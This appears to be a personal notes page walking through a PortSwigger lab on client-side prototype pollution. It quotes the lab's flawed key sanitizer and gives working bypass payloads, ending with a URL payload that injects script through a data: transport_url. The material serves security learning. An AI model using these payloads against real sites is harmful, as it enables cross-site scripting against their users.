> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md).

# Client-Side Prototype Pollution via Flawed Sanitization

Client-Side Prototype Pollution via Flawed Sanitization notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation contex

### Client-side Prototype Pollution via Flawed Sanitization

#### (1) Background and General Idea

The application reads the URL settings and then turns them into JavaScript object via `deparam(...)`:

* It builds `config = { params: deparam(...) }`
* Then it uses `config.transport_url` to load a `<script src="...">`

To avoid the pollution prototype, the devs added `sanitizeKey()` which removes the following substrings in the keys\:/ `constructor`, `__proto__`, `prototype`.

Problem: this sanitization is just a **replaceAll**. If **cut** the prohibited word into pieces, after replacement it can **reconstruct**.

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);
```

#### 2) Source: Bypass Filter and Pollute `Object.prototype`

The filter removes `__proto__` If it is present as it is. / It is rebuilt by putting `__proto__` **in the middle** of a larger key, so that, after deletion, the final key becomes exactly `__proto__`.

Payload:

```javascript
?__pro__proto__to__[foo]=bar
```

After sanitization:

* `__pro__proto__to__` → (deletion of `__proto__`) → `__proto__`

So it's like:

* `?__proto__[foo]=bar` -> global prototype pollution

Check in console:

```javascript
console.log({}.foo)
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-546fe8d5be3955db7a0141ecbd6987dfef057fc0%2Fimage%20(120).png?alt=media" alt="" width="520"><figcaption></figcaption></figure>

#### (4) Final Exploit: Trigger `alert()`

`transport_url` is polluted with a `data:` schema that runs JS when the script is loaded:

```javascript
?__pro__proto__to__[transport_url]=data:,alert(1)
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0d617c524d392efe065d704bfad6d18c35226c81%2Fimage%20(121).png?alt=media" alt=""><figcaption></figcaption></figure>


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